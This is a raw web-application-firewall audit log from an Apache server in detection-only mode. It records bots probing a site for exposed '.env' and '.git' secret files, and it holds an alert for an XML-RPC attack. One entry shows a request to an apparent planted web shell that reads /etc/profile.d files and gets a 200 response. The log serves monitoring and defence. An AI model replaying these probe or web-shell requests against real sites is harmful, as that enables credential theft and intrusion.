Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2bbd5ef2883887455fe15ebbc0e5c9461750017640; expires=Sun, 15 Jun 2025 21:00:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7be54f23-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.local.example"] [unique_id "aE8mZz3D4g1mGjVnV5KKZgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017639909831 704271 (- - -) Stopwatch2: 1750017639909831 704271; combined=1661, p1=380, p2=1191, p3=0, p4=0, p5=90, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7be54f23-Z-- --ef13467b-A-- [16/Jun/2025:01:30:41.650300 +0530] aE8maD6fDirgE_qJvgHNhQAAAAA 185.177.72.210 35320 127.0.0.1 7081 --ef13467b-B-- GET /:8080/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef13467b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=19150d51927938980cda7b54a6768f781750017641; expires=Sun, 15 Jun 2025 21:00:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef13467b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/shop/.env"] [unique_id "aE8maD6fDirgE_qJvgHNhQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017640954872 695490 (- - -) Stopwatch2: 1750017640954872 695490; combined=1983, p1=373, p2=1525, p3=0, p4=0, p5=85, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef13467b-Z-- --5f7a0e20-A-- [16/Jun/2025:01:30:47.757938 +0530] aE8mb4fvqn7_SDWw_wX5xQAAAAc 185.177.72.210 35548 127.0.0.1 7081 --5f7a0e20-B-- GET /backup/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f7a0e20-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4dd5057aa91c62aec7943726408d62831750017647; expires=Sun, 15 Jun 2025 21:00:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f7a0e20-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.git/"] [unique_id "aE8mb4fvqn7_SDWw_wX5xQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017647054118 703884 (- - -) Stopwatch2: 1750017647054118 703884; combined=1786, p1=345, p2=1345, p3=0, p4=0, p5=95, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f7a0e20-Z-- --68a25d48-A-- [16/Jun/2025:01:30:51.870973 +0530] aE8mc12YlG5AqHgt0_KnMgAAAAQ 185.177.72.210 60820 127.0.0.1 7081 --68a25d48-B-- GET /:8443/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68a25d48-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7b216f182bc45c11e283e7b267243551750017651; expires=Sun, 15 Jun 2025 21:00:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68a25d48-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/staging/.env"] [unique_id "aE8mc12YlG5AqHgt0_KnMgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017651179712 691337 (- - -) Stopwatch2: 1750017651179712 691337; combined=1686, p1=365, p2=1226, p3=0, p4=0, p5=95, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68a25d48-Z-- --e998f279-A-- [16/Jun/2025:01:31:04.997474 +0530] aE8mgLSOi14Mt1Fv4_S_7AAAAAo 185.177.72.210 36564 127.0.0.1 7081 --e998f279-B-- GET /:8443/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e998f279-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fdb05a61e2a863227e3fae008e34c1c81750017664; expires=Sun, 15 Jun 2025 21:01:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e998f279-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/admin/.env"] [unique_id "aE8mgLSOi14Mt1Fv4_S_7AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017664326811 670727 (- - -) Stopwatch2: 1750017664326811 670727; combined=1983, p1=386, p2=1515, p3=0, p4=0, p5=81, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e998f279-Z-- --48bd8606-A-- [16/Jun/2025:01:31:08.909146 +0530] aE8mhDwutQMQaeKIpO_QGwAAAAg 185.177.72.210 36702 127.0.0.1 7081 --48bd8606-B-- GET /:8000/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --48bd8606-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e6e84a32e0e5ad88fac4de029f28a2c1750017668; expires=Sun, 15 Jun 2025 21:01:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --48bd8606-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/application/.env"] [unique_id "aE8mhDwutQMQaeKIpO_QGwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017668219431 689800 (- - -) Stopwatch2: 1750017668219431 689800; combined=1865, p1=404, p2=1352, p3=0, p4=0, p5=108, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48bd8606-Z-- --1c6c6c4e-A-- [16/Jun/2025:01:31:31.068466 +0530] aE8mmjwutQMQaeKIpO_QJgAAAAg 185.177.72.210 35442 127.0.0.1 7081 --1c6c6c4e-B-- GET /:10000/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c6c6c4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b24a596ffd1e3eb028d26b39b2f73eff1750017690; expires=Sun, 15 Jun 2025 21:01:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c6c6c4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/log/.env"] [unique_id "aE8mmjwutQMQaeKIpO_QJgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017690356795 711750 (- - -) Stopwatch2: 1750017690356795 711750; combined=2104, p1=458, p2=1543, p3=0, p4=0, p5=102, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c6c6c4e-Z-- --310e4c06-A-- [16/Jun/2025:01:31:35.954851 +0530] aE8mn3salJN_0-_70dLz2wAAAAU 35.171.117.160 35606 127.0.0.1 7081 --310e4c06-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/profile.d&viewfile=//etc/profile.d/01-locale-fix.sh HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 35.171.117.160 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --310e4c06-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3019 Connection: close Content-Type: text/html; charset=UTF-8 --310e4c06-H-- Message: Warning. Matched phrase "etc/profile" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/profile found within ARGS:path: /etc/profile.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/profile found within ARGS:viewfile: /etc/profile.d/01-locale-fix.sh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/profile" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/profile found within ARGS:path: /etc/profile.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8mn3salJN_0-_70dLz2wAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/profile found within ARGS:viewfile: /etc/profile.d/01-locale-fix.sh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8mn3salJN_0-_70dLz2wAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750017695950466 4447 (- - -) Stopwatch2: 1750017695950466 4447; combined=2436, p1=334, p2=1935, p3=40, p4=35, p5=92, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --310e4c06-Z-- --70e94707-A-- [16/Jun/2025:01:31:36.438489 +0530] aE8mnzwutQMQaeKIpO_QKAAAAAg 128.199.112.101 35588 127.0.0.1 7081 --70e94707-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --70e94707-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --70e94707-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8mnzwutQMQaeKIpO_QKAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017695486510 952035 (- - -) Stopwatch2: 1750017695486510 952035; combined=2759, p1=473, p2=1895, p3=40, p4=53, p5=192, sr=118, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70e94707-Z-- --e879aa2c-A-- [16/Jun/2025:01:31:37.408279 +0530] aE8moIfvqn7_SDWw_wX54AAAAAc 185.177.72.210 35656 127.0.0.1 7081 --e879aa2c-B-- GET /ClientApp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e879aa2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8ee878ba4eb4960129d4d9293c108a671750017697; expires=Sun, 15 Jun 2025 21:01:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e879aa2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ClientApp/.env"] [unique_id "aE8moIfvqn7_SDWw_wX54AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017696751649 656734 (- - -) Stopwatch2: 1750017696751649 656734; combined=1745, p1=380, p2=1224, p3=0, p4=0, p5=140, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e879aa2c-Z-- --db3c1d74-A-- [16/Jun/2025:01:31:47.796091 +0530] aE8mqyCwfN5GtQhYhHBIBQAAAAw 185.177.72.210 56474 127.0.0.1 7081 --db3c1d74-B-- GET /:8080/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db3c1d74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d8104ba116ec9482125f89991168590b1750017707; expires=Sun, 15 Jun 2025 21:01:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db3c1d74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/www/.env"] [unique_id "aE8mqyCwfN5GtQhYhHBIBQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017707148248 647915 (- - -) Stopwatch2: 1750017707148248 647915; combined=1697, p1=421, p2=1185, p3=0, p4=0, p5=90, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db3c1d74-Z-- --329d9e72-A-- [16/Jun/2025:01:31:49.821976 +0530] aE8mrXsalJN_0-_70dLz4QAAAAU 185.177.72.210 56542 127.0.0.1 7081 --329d9e72-B-- GET /engine/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --329d9e72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff97f0781df435e261582f75051f20e41750017709; expires=Sun, 15 Jun 2025 21:01:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --329d9e72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/engine/.env"] [unique_id "aE8mrXsalJN_0-_70dLz4QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017709151539 670499 (- - -) Stopwatch2: 1750017709151539 670499; combined=1945, p1=393, p2=1457, p3=0, p4=0, p5=94, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --329d9e72-Z-- --7675c30a-A-- [16/Jun/2025:01:31:53.050556 +0530] aE8msCCwfN5GtQhYhHBIBwAAAAw 185.177.72.210 48424 127.0.0.1 7081 --7675c30a-B-- GET /services/redis-commander/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7675c30a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f6327d73d3dfaf84f248bb12b0b16751750017712; expires=Sun, 15 Jun 2025 21:01:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7675c30a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/redis-commander/.env"] [unique_id "aE8msCCwfN5GtQhYhHBIBwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017712251816 798806 (- - -) Stopwatch2: 1750017712251816 798806; combined=2246, p1=518, p2=1636, p3=0, p4=0, p5=91, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7675c30a-Z-- --5d67d114-A-- [16/Jun/2025:01:32:04.335592 +0530] aE8mu4fvqn7_SDWw_wX57QAAAAc 185.177.72.210 52854 127.0.0.1 7081 --5d67d114-B-- GET /:5601/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5d67d114-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e1f12f0ab24e78e98dd3be9533ac96d1750017724; expires=Sun, 15 Jun 2025 21:02:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5d67d114-H-- Message: Warning. Matched 